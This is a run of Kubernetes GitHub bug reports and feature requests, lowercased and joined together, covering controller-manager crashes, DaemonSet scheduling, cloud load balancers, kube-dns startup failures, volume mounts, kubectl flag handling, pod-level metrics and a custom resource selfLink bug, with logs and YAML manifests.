controller1 kube-controller-manager 6143 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc4226aa650 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc4226aa650, 0x3b9aca00, 0x0, 0x1, 0xc42004d740 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r jun 04 20:08:01 controller1 systemd 1 : kube-controller-manager.service: main process exited, code=exited, status=2/invalidargument\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc4226aa650, 0x3b9aca00, 0xc42004d740 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : created by k8s.io/kubernetes/pkg/controller/service.  servicecontroller .run\r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:191 +0x20c\r jun 04 20:08:01 controller1 systemd 1 : kube-controller-manager.service: unit entered failed state.\r jun 04 20:08:01 controller1 systemd 1 : kube-controller-manager.service: failed with result 'exit-code'.\r    \r \r   what you expected to happen  : loadbalancer service receives public ip and is available for traffic\r \r   how to reproduce it  as minimally and precisely as possible   : \r - provision a loadbalancer service on azure with v1.10.3.\r \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux controller1 4.13.0-1018-azure  21-ubuntu smp thu may 17 13:58:38 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r we have busy 4 node clusters which we deploy to many times a day. of interest is that we run 3  daemonsets which are infrequently updated. however when they are updated and redeployed i often see that the scheduler has filled the node with other pods, such that now the daemonset pod won't fit on this particular node. i have set resource requests so that there is enough headroom in the cluster to shift pods around.\r \r   what you expected to happen  :\r \r i expect the scheduler to evict some pods or do some rebalancing of the cluster so the deamonset can fit on all nodes.  enough capacity assumed \r \r   how to reproduce it  as minimally and precisely as possible   :\r schedule a daemonset that requests more memory than is available on one of the nodes.\r running \ kubectl rollout status ds/${ds_set}\  never succeeds.\r \r   anything else we need to know?  :\r https://kubernetes.io/docs/tasks/administer-cluster/guaranteed-scheduling-critical-addon-pods/\r ^^^ this appears to do what i want, but only applies to the kube-system namespace.\r \r manually killing a pod will rebalance the system  as a workaround \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.12\r - cloud provider or hardware configuration:  gke\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : 4.4.111+\r - install tools: gcloud\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r create a daemonset. it'll create pods with schedulername=default-scheduler. however, the daemonset pods aren't actually scheduled by default-scheduler but daemonset controller. \r \r @k82cn

failing jobs\r  sig-release-master-blocking gci-gke  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke \r   failing tests\r  up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/31532 \r \r  / /milestone v1.12\r  /cc @tpepper @aishsundar @kubernetes/sig-gcp-test-failures

 \r   what happened  :\r \r applied this in aws:\r \r    \r kind: service\r apiversion: v1\r metadata:\r   namespace: lolcats\r spec:\r   type: loadbalancer\r ...\r    \r \r ---> got a classic loadbalancer.\r \r changed to this\r \r    \r kind: service\r apiversion: v1\r metadata:\r   namespace: lolcats\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-type: \ nlb\ \r spec:\r   type: loadbalancer\r ...\r    \r \r and after apply got an nlb, but the classic loadbalancer is still there.\r \r   what you expected to happen  :\r \r not to get billed by aws for $20/month for nothing\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : stable\r - install tools: kontena pharos\r - others: beer\r

trying to set it up with pod definitions in /etc/kubernetes/manifests/  bare metal ubuntu cluster . note i'm using my own docker image  modifed the provided one . restarting kubelet and then trying:      docker run --log-driver=fluentd --log-opt fluentd-address=10.131.8.21:24224 ubuntu echo \ hello fluentd!\  dial tcp 10.131.8.21:24224: connection refused      can't figure out what ip to use.. localhost? where do i find the port?      apiversion: v1 kind: pod metadata:   name: fluentd-elasticsearch   namespace: kube-system spec:   containers:     - name: fluentd-elasticsearch       image: registry.buildtools.bisnode.net/bisnode/server-fluentd-es       resources:         limits:          cpu: 100m       env:         - name: \ fluentd_args\            value: \ -qq\        volumemounts:           - name: containers             mountpath: \ /var/lib/docker/containers\            - name: varlog             mountpath: \ /var/log\    volumes:     - name: containers       source:         hostdir:         path: \ /var/lib/docker/containers\      - name: varlog       source:         hostdir:         path: \ /var/log\

kubernetes 1.0.1, docker 1.7.1, coreos 766.3.0, openstack kilo  we bounced docker across all of our kubernetes clusters to apply a configuration change  --log-opt=max-size=1g . the clusters started in a healthy state. two of the three clusters came up cleanly, but the dns pod repeatedly failed to start on the third. all other pods on this cluster started cleanly. the problem persisted even after we rolled back the docker configuration change.   this looks like the key error in kubelet:      failed to create pod infra container: api error  500 : cannot start container x:  8  system error: read parent: connection reset by peer      probably associated with this error reported by docker:      sep 21 20:50:14.761681 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.761159465z\  level=warning msg=\ signal: killed\       note that the error is in starting the  pause  container.  we tried all of the following to start a kube-dns pod; all failed with the same symptom. - deleting the pod and allowing the rc to recreate it - deleting and re-creating the rc - rebooting the affected host - forcing the pod to run on a new host - deleting the  pause  image and forcing it to be re-retrieved  we ultimately succeeded by moving the service and rc to a different kubernetes namespace. about 20 minutes later, we were unable to recreate the original problem. we see no intervening events in the log that look related.   we see several \ zombie\  pause containers that were created during the failure window; note the blank status field:      eb6d4c3ceb70        gcr.io/google_containers/pause:0.8.0                            \ /pause\                20 hours ago                                                        k8s_pod.2688308a_kube-dns-v8-3weca_kube-system_1c4354a3-60a0-11e5-bacf-fa163e499f09_3a6bfcec a6cffef58756        gcr.io/google_containers/pause:0.8.0                            \ /pause\                20 hours ago                                                        k8s_pod.2688308a_kube-dns-v8-3weca_kube-system_1c4354a3-60a0-11e5-bacf-fa163e499f09_16d9cd42      log attached.       sep 21 20:50:14.625473 platform-sea-ext-fleet-2-aaa systemd-timesyncd 506 : network configuration changed, trying to establish connection. sep 21 20:50:14.626496 platform-sea-ext-fleet-2-aaa systemd-udevd 25167 : could not generate persistent mac address for veth16eb0f3: no such file or directory sep 21 20:50:14.629949 platform-sea-ext-fleet-2-aaa kernel: device vethb848ee6 entered promiscuous mode sep 21 20:50:14.630109 platform-sea-ext-fleet-2-aaa kernel: ipv6: addrconf netdev_up : veth16eb0f3: link is not ready sep 21 20:50:14.630207 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.632238 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.637072 platform-sea-ext-fleet-2-aaa kernel: ipv6: addrconf netdev_change : veth16eb0f3: link becomes ready sep 21 20:50:14.637627 platform-sea-ext-fleet-2-aaa systemd-udevd 25169 : could not generate persistent mac address for vethb848ee6: no such file or directory sep 21 20:50:14.637756 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: gained carrier sep 21 20:50:14.637949 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: gained carrier sep 21 20:50:14.638267 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: configured sep 21 20:50:14.641299 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: configured sep 21 20:50:14.664165 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: lost carrier sep 21 20:50:14.664231 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: removing non-existent address: fe80::42:aff:fe01:36b5/64  valid for ever  sep 21 20:50:14.678948 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered disabled state sep 21 20:50:14.680058 platform-sea-ext-fleet-2-aaa kernel: eth0: renamed from veth16eb0f3 sep 21 20:50:14.679161 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: lost carrier sep 21 20:50:14.694329 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: gained carrier sep 21 20:50:14.696516 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.696978 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.699450 platform-sea-ext-fleet-2-aaa systemd-timesyncd 506 : synchronized to time server 50.116.38.157:123  2.coreos.pool.ntp.org . sep 21 20:50:14.712108 platform-sea-ext-fleet-2-aaa systemd 1 : started docker container eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c. sep 21 20:50:14.713201 platform-sea-ext-fleet-2-aaa systemd 1 : starting docker container eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c. sep 21 20:50:14.761681 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.761159465z\  level=warning msg=\ signal: killed\  sep 21 20:50:14.766399 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: lost carrier sep 21 20:50:14.766574 platform-sea-ext-fleet-2-aaa systemd-timesyncd 506 : network configuration changed, trying to establish connection. sep 21 20:50:14.768033 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered disabled state sep 21 20:50:14.768113 platform-sea-ext-fleet-2-aaa kernel: veth16eb0f3: renamed from eth0 sep 21 20:50:14.776288 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: gained carrier sep 21 20:50:14.777388 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.777481 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.790302 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: lost carrier sep 21 20:50:14.790860 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered disabled state sep 21 20:50:14.793674 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: configured sep 21 20:50:14.793983 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: gained carrier sep 21 20:50:14.797845 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.797938 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered forwarding state sep 21 20:50:14.798235 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: gained carrier sep 21 20:50:14.799166 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: lost carrier sep 21 20:50:14.801045 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : veth16eb0f3: removing non-existent address: fe80::42:aff:fe01:36b5/64  valid for ever  sep 21 20:50:14.803112 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: lost carrier sep 21 20:50:14.805176 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered disabled state sep 21 20:50:14.803157 platform-sea-ext-fleet-2-aaa systemd-networkd 621 : vethb848ee6: removing non-existent address: fe80::ec48:abff:fe4b:735a/64  valid for ever  sep 21 20:50:14.809352 platform-sea-ext-fleet-2-aaa kernel: device vethb848ee6 left promiscuous mode sep 21 20:50:14.809497 platform-sea-ext-fleet-2-aaa kernel: docker0: port 3 vethb848ee6  entered disabled state sep 21 20:50:14.828553 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.828054396z\  level=error msg=\ handler for post /containers/{name:. }/start returned error: cannot start container eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c:  8  system error: read parent: connection reset by peer\  sep 21 20:50:14.829029 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.828196270z\  level=error msg=\ http error\  err=\ cannot start container eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c:  8  system error: read parent: connection reset by peer\  statuscode=500 sep 21 20:50:14.830225 platform-sea-ext-fleet-2-aaa kubelet 3633 : e0921 20:50:14.829847    3633 manager.go:1559  failed to create pod infra container: api error  500 : cannot start container eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c:  8  system error: read parent: connection reset by peer sep 21 20:50:14.830646 platform-sea-ext-fleet-2-aaa kubelet 3633 : ; skipping pod \ kube-dns-v8-3weca_kube-system\  sep 21 20:50:14.831055 platform-sea-ext-fleet-2-aaa kubelet 3633 : w0921 20:50:14.830353    3633 container.go:255  failed to create summary reader for \ /system.slice/docker-eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c.scope\ : none of the resources are being tracked. sep 21 20:50:14.841248 platform-sea-ext-fleet-2-aaa systemd-timesyncd 506 : synchronized to time server 50.116.38.157:123  2.coreos.pool.ntp.org . sep 21 20:50:14.872926 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.872413518z\  level=error msg=\ handler for get /images/{name:. }/json returned error: no such image: gcr.io/google_containers/etcd:2.0.9\  sep 21 20:50:14.873399 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.872563465z\  level=error msg=\ http error\  err=\ no such image: gcr.io/google_containers/etcd:2.0.9\  statuscode=404 sep 21 20:50:14.876351 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.875979472z\  level=error msg=\ handler for get /images/{name:. }/json returned error: no such image: gcr.io/google_containers/kube2sky:1.11\  sep 21 20:50:14.876691 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.876052234z\  level=error msg=\ http error\  err=\ no such image: gcr.io/google_containers/kube2sky:1.11\  statuscode=404 sep 21 20:50:14.879047 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.878750652z\  level=error msg=\ handler for get /images/{name:. }/json returned error: no such image: gcr.io/google_containers/skydns:2015-03-11-001\  sep 21 20:50:14.879588 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.879225736z\  level=error msg=\ http error\  err=\ no such image: gcr.io/google_containers/skydns:2015-03-11-001\  statuscode=404 sep 21 20:50:14.881334 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.881056002z\  level=error msg=\ handler for get /images/{name:. }/json returned error: no such image: gcr.io/google_containers/exechealthz:1.0\  sep 21 20:50:14.881746 platform-sea-ext-fleet-2-aaa kubelet 3633 : e0921 20:50:14.881414    3633 pod_workers.go:111  error syncing pod 1c4354a3-60a0-11e5-bacf-fa163e499f09, skipping: api error  500 : cannot start container eb6d4c3ceb70424026acad5c87e7a9101b66025f7d9844b385b8fe6e15e44b0c:  8  system error: read parent: connection reset by peer sep 21 20:50:14.882168 platform-sea-ext-fleet-2-aaa dockerd 3580 : time=\ 2015-09-21t20:50:14.881105805z\  level=error msg=\ http error\  err=\ no such image: gcr.io/google_containers/exechealthz:1.0\  statuscode=404 sep 21 20:50:16.251052 platform-sea-ext-fleet-2-aaa kube-proxy 3608 : e0921 20:50:16.250256    3608 proxysocket.go:88  couldn't find an endpoint for kube-system/kube-dns:dns: missing service entry sep 21 20:50:17.333322 platform-sea-ext-fleet-2-aaa kube-proxy 3608 : e0921 20:50:17.332395    3608 proxysocket.go:88  couldn't find an endpoint for kube-system/kube-dns:dns: missing service entry sep 21 20:50:17.334836 platform-sea-ext-fleet-2-aaa kube-proxy 3608 : e0921 20:50:17.334189    3608 proxysocket.go:88  couldn't find an endpoint for kube-system/kube-dns:dns: missing service entry sep 21 20:50:18.416288 platform-sea-ext-fleet-2-aaa kubelet 3633 : w0921 20:50:18.415763    3633 kubelet.go:1343  orphaned volume \ 1c4354a3-60a0-11e5-bacf-fa163e499f09/etcd-storage\  found, tearing down volume sep 21 20:50:18.417576 platform-sea-ext-fleet-2-aaa kubelet 3633 : w0921 20:50:18.417146    3633 kubelet.go:1343  orphaned volume \ 1c4354a3-60a0-11e5-bacf-fa163e499f09/dns-token\  found, tearing down volume      we did not try bouncing the kubelet; is there a known ordering dependency between starting the docker daemon and kubelet?   this looks like an underlying cause: https://github.com/docker/docker/issues/14203  possibly related: https://github.com/kubernetes/kubernetes/issues/9822

https://github.com/kubernetes/kubernetes/pull/18357 exposes the controller manager and scheduler  which both use host networking  by binding them to  0.0.0.0  instead of  127.0.0.1  by default. i'm creating a tracking bug to add auth to these endpoints, as this could otherwise become a security risk in the future. for now we believe it's ok as they only expose debugging data  pprof and metrics .   /cc @gmarek @stephenr @davidopp @fgrzadkowski

bug report  \r \r   kubernetes version    use  kubectl version  : v1.6.2\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r   what happened  :\r - create tpr \ myresource\ \r - create namespace \ soak-test\ \r - create a \ myresource\  \ a\  under \ soak-test\ :\r \r    \r $ cat my-resource-a.yaml\r apiversion: \ example.com/v1\ \r kind: \ myresource\ \r metadata:\r   name: \ a\ \r ...\r $ kubectl --namespace soak-test create -f my-resource-a.yaml\r $ kubectl --namespace soak-test get myresource\r name           labels    data\r a           ...\r    \r - delete namespace \ soak-test\ \r \r    \r $ kubectl delete ns soak-test\r    \r - wait namespace to be deleted\r \r myresource \ a\  still exists after ns is deleted.\r    \r $ kubectl --namespace soak-test get myresource\r namespace   name                          kind\r soak-test   a\r    \r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r my cassandra pod could not connect to it's persistent volume.\r \r   what you expected to happen  :\r my cassandra pod connects to it's persistent volume\r \r   how to reproduce it  as minimally and precisely as possible   :\r after deleting the node it was impossible to reproduce. it happens sporadically again.\r \r   anything else we need to know?  :\r \r this cassandra is started up using the example provided here: https://github.com/kubernetes/kubernetes/tree/master/examples/storage/cassandra\r it is the statefulset example\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.5\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : k8s-1.6-debian-jessie-amd64-hvm-ebs-2017-05-02  ami-72aaa814 \r - kernel  e.g.  uname -a  :\r - install tools: kops\r - others:\r \r kubectl describe events:\r    \r unable to mount volumes for pod \ cassandra-0_cassandra 6d253337-575a-11e7-ada9-027f82b6849c \ : timeout expired waiting for volumes to attach/mount for pod \ cassandra\ /\ cassandra-0\ . list of unattached/unmounted volumes= cassandra-data \r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ cassandra\ /\ cassandra-0\ . list of unattached/unmounted volumes= cassandra-data \r    \r \r logs of kubelet:\r \r    \r \r jun 23 05:38:49 ip-172-20-94-1 kubelet 1643 : i0623 05:38:49.170462    1643 aws.go:937  could not determine public dns from aws metadata.\r jun 23 05:38:52 ip-172-20-94-1 kubelet 1643 : i0623 05:38:52.375923    1643 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/08c118f5-575c-11e7-ada9-027f82b6849c-calico-token-1qlpn\   spec.name:\r jun 23 05:38:56 ip-172-20-94-1 kubelet 1643 : i0623 05:38:56.287883    1643 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/6d50eb3b-57d5-11e7-ada9-027f82b6849c-fluentd-token-g63h0\   spec.name\r jun 23 05:38:59 ip-172-20-94-1 kubelet 1643 : i0623 05:38:59.194327    1643 aws.go:937  could not determine public dns from aws metadata.\r jun 23 05:39:02 ip-172-20-94-1 kubelet 1643 : w0623 05:39:02.365130    1643 container_manager_linux.go:741  cpuaccounting not enabled for pid: 1320\r jun 23 05:39:02 ip-172-20-94-1 kubelet 1643 : w0623 05:39:02.365150    1643 container_manager_linux.go:744  memoryaccounting not enabled for pid: 1320\r jun 23 05:39:02 ip-172-20-94-1 kubelet 1643 : i0623 05:39:02.365156    1643 container_manager_linux.go:397   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r jun 23 05:39:02 ip-172-20-94-1 kubelet 1643 : w0623 05:39:02.365222    1643 container_manager_linux.go:741  cpuaccounting not enabled for pid: 1643\r jun 23 05:39:02 ip-172-20-94-1 kubelet 1643 : w0623 05:39:02.365227    1643 container_manager_linux.go:744  memoryaccounting not enabled for pid: 1643\r jun 23 05:39:02 ip-172-20-94-1 kubelet 1643 : i0623 05:39:02.651119    1643 qos_container_manager_linux.go:285   containermanager : updated qos cgroup configuration\r jun 23 05:39:05 ip-172-20-94-1 kubelet 1643 : i0623 05:39:05.211583    1643 server.go:778  get /stats/summary/:  16.875887ms  200   go-http-client/1.1  172.20.110.126:39798 \r jun 23 05:39:07 ip-172-20-94-1 kubelet 1643 : i0623 05:39:07.542687    1643 server.go:778  get /metrics:  16.186222ms  200   prometheus/1.7.0  172.20.83.16:36968 \r jun 23 05:39:09 ip-172-20-94-1 kubelet 1643 : i0623 05:39:09.215262    1643 aws.go:937  could not determine public dns from aws metadata.\r jun 23 05:39:11 ip-172-20-94-1 systemd 1 : started kubernetes kubelet server.\r jun 23 05:39:14 ip-172-20-94-1 kubelet 1643 : e0623 05:39:14.275347    1643 kubelet.go:1549  unable to mount volumes for pod \ cassandra-0_cassandra 152dfb95-57d5-11e7-ada9-027f82b6849c \ : timeout expired waiting for volumes to attach\r jun 23 05:39:14 ip-172-20-94-1 kubelet 1643 : e0623 05:39:14.275369    1643 pod_workers.go:182  error syncing pod 152dfb95-57d5-11e7-ada9-027f82b6849c  \ cassandra-0_cassandra 152dfb95-57d5-11e7-ada9-027f82b6849c \  , skipping: timeout\r jun 23 05:39:14 ip-172-20-94-1 kubelet 1643 : i0623 05:39:14.450420    1643 server.go:778  get /metrics:  36.441527ms  200   prometheus/1.7.0  172.20.32.123:54326 \r jun 23 05:39:19 ip-172-20-94-1 kubelet 1643 : i0623 05:39:19.235194    1643 aws.go:937  could not determine public dns from aws metadata.\r lines 6748-6801/6801  end \r

if you run a command like:\r \r     $ kubectl run --image=nginx --labels app=web --labels env=prod web\r \r it only uses the latest declaration of  --labels  and drops the earlier  --labels  options specified. especially because the --help documentation on  --labels  does not specify the format, this is impairing the user experience.\r \r i looked around a few other clis to see how they handle this.\r \r - curl, for example, uses  -h  to additively collect headers  instead of a comma-separated list , therefore each value specified is used.\r - \ docker run\  command ignores the earlier --name argument when you specify another one.\r \r i am wondering if we can easily detect non-additive/overwriting args specified multiple times in an invocation.\r \r  

currently e2e image puller is using  docker pull .\r however for alternative runtime, e.g. cri-containerd, there won't be  docker pull .\r we should use  crictl pull  instead.\r \r for now, i'll disable  prepull_e2e_images  for cri-containerd cluster e2e test. but we should fix this anyway.\r \r @kubernetes/sig-node-bugs @yujuhong @feiskyer @mikebrow @abhi @miaoyq @yanxuean

with all the features related to pod-level management   pod cgroup  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/pod-resource-management.md add-pod-level-metrics-to-kubelets-metrics-provider ,  pod-level resource management  https://github.com/kubernetes/kubernetes/issues/27204  and  local ephemeral storage isolation  https://github.com/kubernetes/features/issues/361   added recently, it becomes necessary to provide more pod-level metrics including cpu, memory and ephemeral storage usage consumed by individual pod. pod-level accounting could help solve the following issues\r \r - pod level monitoring can help account for pod resource usage overhead that is otherwise accounted to the node.\r - for local disk usage, ephemeral storage might be used by volumes  pod-level property  or consumed by containers. although kubelet reports volume usage at pod-level, there is no way to tell whether the volume is using ephemeral storage or not. so users could not figure out how much total ephemeral storage is used by a pod.\r \r the first step of exposing pod-level is kubelet summary api change:\r \r - cpu and memory: the usage information should be obtained by cadvisor’s pod-level cgroup\r - ephemeral-storage: the usage is calculated as the sum of all containers usage and all local ephemeral volume usage including emptydir  where medium is not memory or hugepages  , configuremap, and downwardapi. \r \r the next step requires the following changes:\r 1. add pod-level metrics to master metric server so that other k8s components can use the metrics  e.g., kubectl top \r 2. add to heaspter to scrape the metrics so that stackdriver can use them.\r

/ /  /status approved-for-milestone\r @kubernetes/sig-network-test-failures\r fyi @kubernetes/sig-gcp-test-failures\r \r this job has been failing since 2017-11-17.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-ingress\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/14403\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/14404\r - latest bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/14496\r - suspect commit range: https://github.com/kubernetes/kubernetes/compare/56e62b684...3ec7487c0

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r i created a custom resource definition with -this is important - scope \ cluster\ . then i created an element of that kind. then i fetched the element and saw that the \ metadata.selflink\  attribute had an incorrect value. the path did not contain the custom resource name. trying to fetch the element using api results in 404 response.\r \r   what you expected to happen  :\r the \ metadata.selflink\  of an instance of a custom resource should be correct.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r prepare a custom resource definition with scope: cluster  important! with scope namespaced the selflink is correct  in a file resourcedefinition.yaml:\r \r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r     name must match the spec fields below, and be in the form: <plural>.<group>\r   name: crontabs.stable.example.com\r spec:\r     group name to use for rest api: /apis/<group>/<version>\r   group: stable.example.com\r     version name to use for rest api: /apis/<group>/<version>\r   version: v1\r     either namespaced or cluster\r   scope: cluster\r   names:\r       plural name to be used in the url: /apis/<group>/<version>/<plural>\r     plural: crontabs\r       singular name to be used as an alias on the cli and for display\r     singular: crontab\r       kind is normally the camelcased singular type. your resource manifests use this.\r     kind: crontab\r       shortnames allow shorter string to match your resource on the cli\r     shortnames:\r     - ct\r    \r  slightly modified standard example from here: https://kubernetes.io/docs/tasks/access-kubernetes-api/extend-api-custom-resource-definitions/ \r \r create it:\r \r    kubectl create -f resourcedefinition.yaml   \r \r now prepare a custom object in a file my-crontab.yaml with this content:\r \r    yaml\r apiversion: \ stable.example.com/v1\ \r kind: crontab\r metadata:\r   name: my-new-cron-object\r spec:\r   cronspec: \          /5\ \r   image: my-awesome-cron-image\r    \r \r and create it:\r \r    kubectl create -f my-crontab.yaml   \r \r now get the custom object list:\r \r    kubectl get ct -o yaml   \r \r the result is:\r \r    yaml\r apiversion: v1\r items:\r - apiversion: stable.example.com/v1\r   kind: crontab\r   metadata:\r     clustername: 